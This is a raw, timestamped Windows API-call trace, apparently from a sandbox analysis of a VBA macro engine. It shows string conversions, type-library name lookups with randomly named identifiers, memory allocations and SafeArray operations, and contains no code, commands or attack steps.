[0018.761] strcpy_s (in: _Dst=0x305370, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0018.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=11, lpWideCharStr=0x3051c0, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0018.761] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.761] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_Chr", lHashVal=0x103b5c, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=1, pBstrLibName=0x3051c0) returned 0x0 [0018.761] IUnknown:Release (This=0x7919520) returned 0xd [0018.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0x305370, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0018.762] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0018.762] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.762] IUnknown:Release (This=0x7919520) returned 0xd [0018.762] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.762] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x26d) returned 0x794fbb0 [0018.762] IMalloc:Free (This=0x7fefe9e5380, pv=0x794fbb0) [0018.762] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb54a10 [0018.762] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcec0000 [0018.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63db4, cbMultiByte=10, lpWideCharStr=0xcec2c4c, cchWideChar=22 | out: lpWideCharStr="wKjXNKiULz") returned 10 [0018.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63dc8, cbMultiByte=10, lpWideCharStr=0xcec2df6, cchWideChar=22 | out: lpWideCharStr="XMWbnTziwU") returned 10 [0018.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ddc, cbMultiByte=10, lpWideCharStr=0xcec2fa0, cchWideChar=22 | out: lpWideCharStr="CKMNwHdoIO") returned 10 [0018.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63df0, cbMultiByte=10, lpWideCharStr=0xcec314a, cchWideChar=22 | out: lpWideCharStr="NZPLbFBozK") returned 10 [0018.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e04, cbMultiByte=10, lpWideCharStr=0xcec32f4, cchWideChar=22 | out: lpWideCharStr="iKiwkwHTOm") returned 10 [0018.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e18, cbMultiByte=10, lpWideCharStr=0xcec349e, cchWideChar=22 | out: lpWideCharStr="VmjmWnwTaG") returned 10 [0018.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e2c, cbMultiByte=10, lpWideCharStr=0xcec3648, cchWideChar=22 | out: lpWideCharStr="htLwmzwLzi") returned 10 [0018.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e40, cbMultiByte=10, lpWideCharStr=0xcec37f2, cchWideChar=22 | out: lpWideCharStr="SLhomsfPcz") returned 10 [0018.764] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xced0000 [0018.765] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iuBGVRfHZ") returned 0x10eb39 [0018.765] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="iuBGVRfHZ" | out: _Dst="iuBGVRfHZ") returned 0x0 [0018.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="iuBGVRfHZ") returned 10 [0018.765] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.765] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iuBGVRfHZ", lHashVal=0x10eb39, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.765] IUnknown:Release (This=0x7919520) returned 0xe [0018.765] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.765] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iuBGVRfHZ", lHashVal=0x10eb39, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.765] IUnknown:Release (This=0x7346470) returned 0xb [0018.765] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.765] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iuBGVRfHZ", lHashVal=0x10eb39, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.766] IUnknown:Release (This=0x7345930) returned 0x7 [0018.766] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.766] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iuBGVRfHZ", lHashVal=0x10eb39, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.766] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.766] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.766] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iuBGVRfHZ") returned 0x10f47e [0018.766] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_iuBGVRfHZ" | out: _Dst="_B_var_iuBGVRfHZ") returned 0x0 [0018.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_iuBGVRfHZ") returned 17 [0018.766] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.766] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iuBGVRfHZ", lHashVal=0x10f47e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.766] IUnknown:Release (This=0x7919520) returned 0xe [0018.766] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.766] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iuBGVRfHZ", lHashVal=0x10f47e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.766] IUnknown:Release (This=0x7346470) returned 0xb [0018.766] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.766] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iuBGVRfHZ", lHashVal=0x10f47e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.766] IUnknown:Release (This=0x7345930) returned 0x7 [0018.766] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.766] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iuBGVRfHZ", lHashVal=0x10f47e, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.766] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.766] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.766] IUnknown:Release (This=0x7919520) returned 0xe [0018.766] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e64, cbMultiByte=10, lpWideCharStr=0xced1aec, cchWideChar=22 | out: lpWideCharStr="nGhNqdpwhK") returned 10 [0018.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e78, cbMultiByte=10, lpWideCharStr=0xced1c96, cchWideChar=22 | out: lpWideCharStr="nCwTjTKEsA") returned 10 [0018.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63e8c, cbMultiByte=10, lpWideCharStr=0xced1e40, cchWideChar=22 | out: lpWideCharStr="dIiqdGWSpE") returned 10 [0018.766] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbb54c60 [0018.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ea0, cbMultiByte=10, lpWideCharStr=0xced1fea, cchWideChar=22 | out: lpWideCharStr="LEUVLbkzqL") returned 10 [0018.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63eb4, cbMultiByte=10, lpWideCharStr=0xced2194, cchWideChar=22 | out: lpWideCharStr="wtzFpvDruC") returned 10 [0018.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ec8, cbMultiByte=10, lpWideCharStr=0xced233e, cchWideChar=22 | out: lpWideCharStr="iVAcLfXrjk") returned 10 [0018.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63edc, cbMultiByte=10, lpWideCharStr=0xced24e8, cchWideChar=22 | out: lpWideCharStr="GWJdwiiaIE") returned 10 [0018.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb63ef0, cbMultiByte=10, lpWideCharStr=0xced2692, cchWideChar=22 | out: lpWideCharStr="iMOhDkLdBi") returned 10 [0018.767] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcee0000 [0018.768] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zKaWsatcp") returned 0x1031c3 [0018.768] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xa, _Src="zKaWsatcp" | out: _Dst="zKaWsatcp") returned 0x0 [0018.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=10, lpWideCharStr=0x305010, cchWideChar=10 | out: lpWideCharStr="zKaWsatcp") returned 10 [0018.769] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.769] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zKaWsatcp", lHashVal=0x1031c3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.769] IUnknown:Release (This=0x7919520) returned 0xe [0018.769] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.769] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zKaWsatcp", lHashVal=0x1031c3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.769] IUnknown:Release (This=0x7346470) returned 0xb [0018.769] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.769] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zKaWsatcp", lHashVal=0x1031c3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.769] IUnknown:Release (This=0x7345930) returned 0x7 [0018.769] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.769] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zKaWsatcp", lHashVal=0x1031c3, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.769] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.769] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0018.769] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_zKaWsatcp") returned 0x102b87 [0018.769] strcpy_s (in: _Dst=0x305370, _DstSize=0x11, _Src="_B_var_zKaWsatcp" | out: _Dst="_B_var_zKaWsatcp") returned 0x0 [0018.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=17, lpWideCharStr=0x3051c0, cchWideChar=17 | out: lpWideCharStr="_B_var_zKaWsatcp") returned 17 [0018.769] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.769] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zKaWsatcp", lHashVal=0x102b87, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.769] IUnknown:Release (This=0x7919520) returned 0xe [0018.769] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.769] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zKaWsatcp", lHashVal=0x102b87, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.769] IUnknown:Release (This=0x7346470) returned 0xb [0018.769] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.769] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zKaWsatcp", lHashVal=0x102b87, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.769] IUnknown:Release (This=0x7345930) returned 0x7 [0018.769] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.769] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zKaWsatcp", lHashVal=0x102b87, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.769] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.769] IUnknown:AddRef (This=0x7919520) returned 0xf [0018.769] IUnknown:Release (This=0x7919520) returned 0xe [0018.769] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.805] IMalloc:Free (This=0x7fefe9e5380, pv=0x790bfe0) [0018.805] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.805] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.805] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.806] GetProcAddress (hModule=0x7fef0cc0000, lpProcName=0x278) returned 0x7fef0dffe60 [0018.806] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.806] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.806] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.807] GetProcAddress (hModule=0x7fef0cc0000, lpProcName=0x260) returned 0x7fef0e0142c [0018.807] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.807] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.807] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x58) returned 0x790c1c0 [0018.807] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.807] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0018.807] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x58) returned 0x790c220 [0018.807] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7ed08 | out: ppsaOut=0x7a7ed08) returned 0x0 [0018.807] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.808] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.808] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.809] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.809] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.809] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.809] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.810] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.811] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.812] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.813] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.814] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.815] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.816] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.817] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.818] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.819] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.820] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.821] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.822] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.823] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0018.824] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0018.824] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcef0000 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb756fc, cbMultiByte=10, lpWideCharStr=0xcef00dc, cchWideChar=22 | out: lpWideCharStr="ZswvXQmWni") returned 10 [0018.826] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x318) returned 0x79256c0 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75716, cbMultiByte=10, lpWideCharStr=0xcef0526, cchWideChar=22 | out: lpWideCharStr="KZRTbrbqwi") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7572a, cbMultiByte=10, lpWideCharStr=0xcef06d0, cchWideChar=22 | out: lpWideCharStr="zQvwiuwISc") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7573e, cbMultiByte=10, lpWideCharStr=0xcef087a, cchWideChar=22 | out: lpWideCharStr="iUzlENpwAE") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75752, cbMultiByte=10, lpWideCharStr=0xcef0a24, cchWideChar=22 | out: lpWideCharStr="izkfCOktrI") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75766, cbMultiByte=10, lpWideCharStr=0xcef0bce, cchWideChar=22 | out: lpWideCharStr="VPwoVJwAQd") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7577a, cbMultiByte=10, lpWideCharStr=0xcef0d78, cchWideChar=22 | out: lpWideCharStr="SdELvqbjPO") returned 10 [0018.826] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7578e, cbMultiByte=10, lpWideCharStr=0xcef0f22, cchWideChar=22 | out: lpWideCharStr="BdpsvAfPvP") returned 10 [0018.827] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="aqpTj") returned 0x10c3e7 [0018.827] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="aqpTj" | out: _Dst="aqpTj") returned 0x0 [0018.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, 